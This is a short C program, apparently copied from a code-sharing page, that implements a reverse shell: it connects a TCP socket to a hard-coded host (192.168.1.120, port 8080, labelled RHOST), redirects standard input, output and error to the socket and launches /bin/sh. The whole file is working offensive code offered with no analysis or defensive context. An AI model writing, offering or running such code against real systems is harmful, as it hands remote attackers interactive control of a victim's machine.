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#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <unistd.h> | |
#include <sys/types.h> | |
#include <sys/socket.h> | |
#include <netinet/in.h> | |
int main(void) { | |
int sockfd; | |
int lportno = 8080; // listener port | |
struct sockaddr_in serv_addr; | |
char *const params[] = {"/bin/sh",NULL}; | |
char *const environ[] = {NULL}; | |
sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); | |
serv_addr.sin_family = AF_INET; // 2 | |
serv_addr.sin_addr.s_addr = inet_addr("192.168.1.120"); // RHOST | |
serv_addr.sin_port = htons(lportno); | |
connect(sockfd, (struct sockaddr *) &serv_addr, 16); | |
// redirect stdout and stderr | |
dup2(sockfd,0); // stdin | |
dup2(0,1); // stdout | |
dup2(0,2); // stderr | |
execve("/bin/sh",params,environ); | |
} |
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